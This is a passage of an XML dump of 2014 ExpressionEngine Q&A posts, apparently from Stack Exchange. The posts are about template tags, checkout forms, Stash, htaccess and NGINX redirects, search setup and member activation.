  <row Id="25503" PostTypeId="1" CreationDate="2014-09-04T07:13:42.300" Score="0" ViewCount="405" Body="&lt;p&gt;I'm trying to load the objective HTML Google Maps extension with Ajax. But i don't get it to work. Before i loaded the map without ajax and that works perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code i use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In the Template:&#xA;$('.ajax-map').load('/site/ajax_google');&#xA;&#xA;&amp;lt;div class=&quot;ajax-map&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;ajax google maps file&#xA;{exp:gmap:init&#xA;&amp;lt;!--General--&amp;gt;&#xA;    id=&quot;map&quot; &#xA;    class=&quot;ajax-map&quot; &#xA;    language=&quot;nl&quot;&#xA;    scrollwheel=&quot;false&quot;&#xA;    script_tag=&quot;false&quot;&#xA;&#xA;    etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page does find the google maps file but doesn't load the map.&#xA;Anybody a idea?&lt;/p&gt;&#xA;" OwnerUserId="656" LastActivityDate="2015-07-31T20:11:31.533" Title="Google Map won't show with ajax" Tags="|ajax|google-maps-for-ee|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25504" PostTypeId="1" CreationDate="2014-09-04T07:21:47.080" Score="0" ViewCount="80" Body="&lt;p&gt;This is my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form&#xA;    error_handling=&quot;inline&quot;&#xA;    required=&quot;card_type|credit_card_number|CVV2|expiration_month|expiration_year&quot;;  &#xA;    return=&quot;store/thank-you&quot;&#xA;    authorized_redirect=&quot;cart/authorized&quot;&#xA;    failed_redirect=&quot;cart/failed&quot;&#xA;    declined_redirect=&quot;cart/declined&quot;&#xA;}&#xA;&#xA;&amp;lt;label&amp;gt;Testing form return&amp;lt;/label&amp;gt;&#xA;&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the HTML output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://local.729beauty.com:8888/store/payment&quot; method=&quot;post&quot; id=&quot;checkout_form&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;hiddenFields&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;35&quot; name=&quot;ACT&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;http://local.729beauty.com:8888/store/payment&quot; name=&quot;RET&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;store/payment&quot; name=&quot;URI&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;25a5d098274dc3160f8523810faa9984&quot; name=&quot;FRM&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;inline&quot; name=&quot;error_handling&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;store/thank-you&quot; name=&quot;return&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;cart/authorized&quot; name=&quot;authorized_redirect&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;cart/failed&quot; name=&quot;failed_redirect&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;cart/declined&quot; name=&quot;declined_redirect&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;fhXgN84OH//7He+A4cXWnIz6lkOXlLpUertRTQuYJk9YoLaeB8gd0mFhm3KQ4xVV8iyq/WazuYN1+AO0KgMgjw==&quot; name=&quot;AUP&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;aMvc2dbOlMHq47x3DAetF0q8+dJgiJnc5jrQsbCok5bZFvQeDw+8fvt+f+D6okrn3XV1W13pKBGUfzk6HBx4pg==&quot; name=&quot;AUS&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;hm4P2Y45BfyKYFIfMctshTwj3XIK/YZTY+1SFIraj7MRXv+1mV0Cn2fXmE94ucJVlhjB342tbHStUdElrI0ofg==&quot; name=&quot;OTF&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;clUmg1Fh9OCt57mfBxpB2HZHhIFYx9+a55KP9LyESvVqX8kImrEyzIvRjSBsgqaMkjANz/W0LSJIH9Jzc+T9qQ==&quot; name=&quot;LIC&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;fpbNvFH23jf9kBAB/2uKUN0ZrABtC+gr56EyWPf90sn+zQ+WfswMD/pX+4YhRKZNNvf1SWHGRpf24C5Kj4Cl2Q==&quot; name=&quot;VLT&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;0fLMF9faQwPbNeSll2SEquZQ4cGiRFFERDmWW5b8TsARIEpqD/hGOPGu+6WrvhpJPGB6/7rqXqPZaw3tkHMmjA==&quot; name=&quot;FPR&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;8mwr+A6qu1YL2KqV+eLw+il5yAOJVnw/0/P7ydcc5AGuvAMmN0HIpAaIkDrzkiAum1FARjINlwQEBu9hdMUp2w==&quot; name=&quot;SM&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;+t4T56oqmiDwn1o8KwocJ5Jx9AP4aWvWR9oJII4gGBldRTK/oagDRV275nxNZN6bZvd2Y13qSYhTbVnkQjEz3g==&quot; name=&quot;SUB&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;19LPDjYtW4qwaVHxrR3JpFHD6WWVqtOgPKSXnpBQyM8UtCej6XppTjxBBX3w0/4gzJQGXXZaCBEi+zuolcwkEw==&quot; name=&quot;ERR&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;kHX0W/xf6ylW9S8tejEOu+P0VXsIwvOxt4NAT3ov7DzOXGlyqkrLUO7hrZZ95W8uH3JTEm9guHBVRf1uSsbUJtK0+7p3puGrSGMpyfkiNejqDO6GgN9bUe/4FipX6grvKwsaSrnBgg64Bqhmclyc2Bgm48fKTrlqbNcRtdsg6re8hSHGYRVhPNr1dm+VLGhzNqy797q6K8Yv1emgJl8F8Qke8j4KQEUuAOGRWrPYbiIsC/n+7uOczQ7bjRRTmoPqSqvfo7Hlsvc8DGI5iUbDgFG7YvvnM2fg9njk6d+e5gU=&quot; name=&quot;RLS&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;site_id&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; value=&quot;91ac855ea139e6cf936f80345b0c88bbd8c2fe4e&quot; name=&quot;csrf_token&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form's action is set to something different than my return value. Any thoughts on why?&lt;/p&gt;&#xA;" OwnerUserId="3259" LastActivityDate="2014-09-04T07:52:01.827" Title="CartThrob checkout_form outputting wrong return value" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25505" PostTypeId="2" ParentId="25504" CreationDate="2014-09-04T07:52:01.827" Score="1" Body="&lt;p&gt;I think it's supposed to be like that. The form will post to the page it is on and then redirect as appropriate depending on the result of the transaction. The return values are stored in the hidden fields and your successful return value is located in the 6th field down.&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2014-09-04T07:52:01.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25506" PostTypeId="2" ParentId="25488" CreationDate="2014-09-04T08:15:24.337" Score="2" Body="&lt;p&gt;It should be possible, since that's exactly what I'm doing on my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code (which is working):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my __construct()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE  = get_instance();&#xA;&#xA;    if ( ! class_exists('Stash'))&#xA;    {&#xA;        include_once PATH_THIRD . 'stash/mod.stash.php';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, lower down in my function, I have a function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_stash($name,$d)&#xA;{&#xA;    $params = array(&#xA;        'name' =&amp;gt; $name,&#xA;        'scope' =&amp;gt; 'user'&#xA;    );&#xA;&#xA;    Stash::set($params,$d);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it's something to do with the fact you're setting it as a snippet - I'm sure, if a stash variable is a snippet, you access it via &lt;code&gt;{name_of_snippet}&lt;/code&gt;, in your case &lt;code&gt;{st_test_variable}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try dropping that from the variables and seeing if it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also assuming that your add-on is executed before the stash variable tries to grab it?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-09-04T08:15:24.337" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25507" PostTypeId="2" ParentId="947" CreationDate="2014-09-04T09:31:51.017" Score="-1" Body="&lt;p&gt;Did you succeed to reach your goal on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, do you agree to share here your final thoughts/experience on how you achieved your goal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have something very similar to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2014-09-04T09:31:51.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25508" PostTypeId="1" CreationDate="2014-09-04T10:47:22.353" Score="0" ViewCount="156" Body="&lt;p&gt;I’ve just upgraded to Store 2.4 and now having an issue with the Worldpay payment gateway. I haven’t changed anything, yet I’m now getting the following error message on redirect to WorldPay:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The transaction cannot be processed. Please send the following information to the merchant:&#xA;  No cart ID supplied with the payment request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any help would be massively appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1634" LastEditorUserId="55" LastEditDate="2014-09-24T19:57:03.387" LastActivityDate="2014-09-24T19:57:03.387" Title="Issue with Worldpay on Store 2.4" Tags="|expresso-store|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25510" PostTypeId="1" CreationDate="2014-09-04T10:55:18.183" Score="1" ViewCount="82" Body="&lt;p&gt;I am using PayU discovery miles payment gateway and when the user clicks 'Place your order' on my site I would like to open the discovery page in a new tab. Would this be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:payment&#xA;    payment_method=&quot;PayU&quot;&#xA;    form_id=&quot;checkout_form3&quot;&#xA;    form_name=&quot;checkout_form3&quot;&#xA;    member_id=&quot;CURRENT_USER&quot;&#xA;    return=&quot;checkout/success/ORDER_HASH&quot;&#xA;    &amp;lt;!--secure='yes'--&amp;gt;&#xA;}&#xA;&amp;lt;button id=&quot;checkout_form3_submit_discovery&quot; class=&quot;alert&quot; type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;Place your order&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:store:payment}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment, the off-page gateway opens up in the same tab as the website.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-11-03T13:17:00.270" Title="Open Payment Method In New Tab" Tags="|expresso-store|ee2|payment-gateway|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25512" PostTypeId="2" ParentId="25503" CreationDate="2014-09-04T11:37:37.923" Score="1" Body="&lt;p&gt;If a Google map is being &quot;revealed&quot; with Javascript then it is necessary to trigger the map resize event when it is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Google Maps for ExpressionEngine then there is &lt;a href=&quot;https://github.com/objectivehtml/GmapHelper&quot; rel=&quot;nofollow&quot;&gt;GmapHelper&lt;/a&gt; which you can grab and call at the appropriate time to fire the resize event.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-04T11:37:37.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25513" PostTypeId="1" AcceptedAnswerId="25546" CreationDate="2014-09-04T11:39:06.177" Score="1" ViewCount="83" Body="&lt;p&gt;This is on an EE2.5.5 install. After uploading Stash 2.5.7 and running module updates I get the following DB error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;&#xA;Error Number: 1062&#xA;&#xA;Duplicate entry '_last_activity-1-1-435704d2c60667f0c19a4f01903c2b85cd745d51' for key 'cache_key'&#xA;&#xA;ALTER TABLE `exp_stash` DROP INDEX `key_session`, DROP INDEX `key_name`, ADD UNIQUE `cache_key` (`key_name`, `bundle_id`, `site_id`, `session_id`), ADD INDEX `expire` (`expire`)&#xA;&#xA;Filename: third_party/stash/upd.stash.php&#xA;&#xA;Line Number: 186&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? The rest of the install and the site appear unaffected by this.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-05T15:54:05.033" Title="DB error when trying to update Stash to 2.5.7" Tags="|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25514" PostTypeId="2" ParentId="25510" CreationDate="2014-09-04T12:06:33.877" Score="1" Body="&lt;p&gt;Try adding a target attribute to the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:payment&#xA;   html:target=&quot;_blank&quot;&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-09-04T12:06:33.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25515" PostTypeId="2" ParentId="25487" CreationDate="2014-09-04T12:10:19.217" Score="1" Body="&lt;p&gt;This won't work because you're rendering an EE form with the DOM - EE needs to parse those {exp:..} tags in order to generate an HTML form that will work. You'd be better off generating the form  in the EE template and hiding/showing it using javascript/css.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-09-04T12:10:19.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25516" PostTypeId="1" CreationDate="2014-09-04T12:26:00.140" Score="0" ViewCount="53" Body="&lt;p&gt;I'm having an issue retrieving a specific stash variable more than twice on the same page. It appears that when I try and get it the third time, I'm seeing random content output that lives elsewhere on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code I'm using is pretty standard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;st_variable_name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a limit to how many times you can show the same variable on a page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; After further investigation this appears to be linked to switchee. Somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the basic template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;    &amp;lt;title&amp;gt;{exp:stash:get name=&quot;st_school_name&quot;}&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;header&amp;gt;&#xA;        &amp;lt;div class=&quot;appheader&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{exp:stash:get name=&quot;st_school_name&quot;}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/header&amp;gt;&amp;lt;!-- end header --&amp;gt;&#xA;    &amp;lt;div class=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;{exp:switchee variable=&quot;{segment_4}&quot; parse=&quot;inward&quot;}&#xA;    {case default=&quot;yes&quot;}&#xA;        &amp;lt;span&amp;gt;School:&amp;lt;/span&amp;gt; {exp:stash:get name=&quot;st_school_name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code, it's the last line where things are going wrong. I'm thinking it has to be to do with switchee because if I move that last line above the switchee tag the output is as expected, which suggests that it has nothing to do with the frequency of calling that specific variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2014-09-05T07:29:52.513" LastActivityDate="2014-09-05T07:29:52.513" Title="Problem trying to retrieve same stash variable multiple times in same template" Tags="|stash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25517" PostTypeId="1" CreationDate="2014-09-04T12:42:16.317" Score="1" ViewCount="487" Body="&lt;p&gt;I have a site running in a sub-directory and I'm using this htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) helpdeskzorgaanbieders/$1$2 [R=301,NE,L]&#xA;&#xA;        # Removes redirect to url without www&#xA;    RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]&#xA;    RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ helpdeskzorgaanbieders/index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's conform the Ellilad user guide, i just put some extra code for redirect url with www to a url without www:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # Removes redirect to url without www&#xA;RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why but if I test and add www. to the URL it send me back to the root directory (where an other EE site is also running).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something must be wrong in my code but I can't find it.&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-11-04T09:36:10.553" Title="htaccess redirect to url without www with site in a sub-directory" Tags="|htaccess|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25518" PostTypeId="1" CreationDate="2014-09-04T14:11:39.330" Score="0" ViewCount="150" Body="&lt;p&gt;Hi Was wondering if anyone can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have purchased Low Search and im stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the ultimate goal is to have a channel called franchise with say 200 different franchises/entries, with a textarea field in each filled with different postcodes seperated by a comma in each entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example one entry would be: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title: Conwy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postcodes: ll21, ll22, ll23, ll24, ll25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At somepoint i may need to have a postcode more indepth for sameple ll21 5bd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the postcodes that, that franchise covers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have the search only search the channel &quot;franchise&quot; and only searches the &quot;postcode&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the results i just want to go straight to the relevant entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honeslty i really appreicate any help. Because i am so stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi Low,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;search/results&quot; required=&quot;keywords&quot; search:postcodes_covered}&#xA; &amp;lt;fieldset&amp;gt;&#xA;&amp;lt;label for=&quot;keywords&quot;&amp;gt;Enter your postcode:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Enter your postcode here&quot; class=&quot;postcode-entry&quot; /&amp;gt;&#xA;&amp;lt;span class=&quot;postcode-error&quot;&amp;gt;{error_message}&amp;lt;/span&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;white-button postcode-button&quot;&amp;gt;&amp;lt;span class=&quot;fa fa-search icon&quot;&amp;gt;&amp;lt;/span&amp;gt;Search your postcode&amp;lt;/button&amp;gt;&#xA; &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the results tag was the bog standard one on the docs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;10&quot;}&#xA;{if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;{if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry for being so Vague, i am just unsure how to go about this, thanks for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the postcodes in the entry for conwy in the postcodes_covered field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LL16,LL18,LL21,LL22,LL24,LL25,LL26,LL27,LL28,LL29,LL30,LL31,LL32,LL33,LL34,LL57&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the idea is that if someone searched for ll26 5he it would return the conwy entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastEditorUserId="3335" LastEditDate="2014-09-05T08:19:29.403" LastActivityDate="2015-02-03T11:55:43.297" Title="Using Low Search" Tags="|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25520" PostTypeId="2" ParentId="24493" CreationDate="2014-09-04T14:20:17.757" Score="1" Body="&lt;p&gt;You could easily do this with &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-09-04T14:20:17.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25521" PostTypeId="1" AcceptedAnswerId="25538" CreationDate="2014-09-04T14:27:44.087" Score="0" ViewCount="119" Body="&lt;p&gt;I am currently working on a big project for a client where we are importing all of their content into ExpressionEngine. I written a script to do this which is fine, however, all of the URLS are going to be different for the new pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an extra field in the channel for these pages which contains the pages old URL, could someone suggest a way to, when the old url is hit, to find that in the channel entries and redirect (301) to the new url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="3548" LastActivityDate="2014-09-05T08:55:41.853" Title="Setting up redirects" Tags="|ee2|channel|url|database|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25522" PostTypeId="1" CreationDate="2014-09-04T14:56:28.880" Score="0" ViewCount="46" Body="&lt;p&gt;I am using User from Solspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i right in thinking if i set &quot;members&quot; to self activation via email in the control panel when someone goes to register using the form below they should technically be sent an activation email to the email they submit on the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am i missing a trick because everytime i do this the gmail account that i register with goes throough on the control panel and status is pending however the email i used in the registration never gets sent an email.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:register&#xA;return=&quot;template_group/template&quot;&#xA;}&#xA;&#xA;&amp;lt;p&amp;gt;Username:&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Screen Name:&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Email Address:&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;Password:&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Confirm Password:&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{if captcha}&#xA;&amp;lt;p&amp;gt;Please enter in the word you see below:&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{captcha}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;accept_terms&quot; value=&quot;y&quot; /&amp;gt;&#xA;    Accept Terms?&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{if no_results}&#xA;&amp;lt;p&amp;gt;You're currently logged in, and must be logged&#xA;    out to view this form.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;{/exp:user:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-09-04T14:56:28.880" Title="Members Self activation" Tags="|members|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25523" PostTypeId="2" ParentId="25521" CreationDate="2014-09-04T16:39:56.133" Score="0" Body="&lt;p&gt;If there's some part which can just be removed to the new URL, you can do this easily using redirect on &lt;code&gt;.htaccess&lt;/code&gt; or NGINX &lt;code&gt;location&lt;/code&gt;s:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rewrite &quot;^/blog/\d{4}/\d{2}/\d{2}(.*)$&quot; http://domain.com/blog$1 permanent;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is an example I used on NGINX to redirect old WordPress style &lt;code&gt;URL&lt;/code&gt;s to new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't an option and you don't have too many redirects to do, you can create a template using &lt;code&gt;exp:channel:entries&lt;/code&gt; to write the redirect rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NGINX:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; limit=&quot;500&quot;}&#xA;rewrite ^/{old_url} http://domain.com/template_group/{url_title} permanent;&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; limit=&quot;500&quot;}&#xA;RewriteRule ^/{old_url} {site_url}/blog/{url_title} [L,R=302]&amp;lt;br /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Access the template, copy and paste the rules on your &lt;code&gt;.htaccess&lt;/code&gt; file or NGINX 